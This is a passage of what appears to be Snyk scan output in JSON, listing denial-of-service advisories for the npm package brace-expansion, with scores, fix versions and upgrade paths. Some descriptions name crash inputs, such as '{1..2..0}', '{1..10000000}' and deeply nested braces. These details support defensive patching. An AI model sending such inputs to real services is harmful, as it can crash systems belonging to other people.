Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade 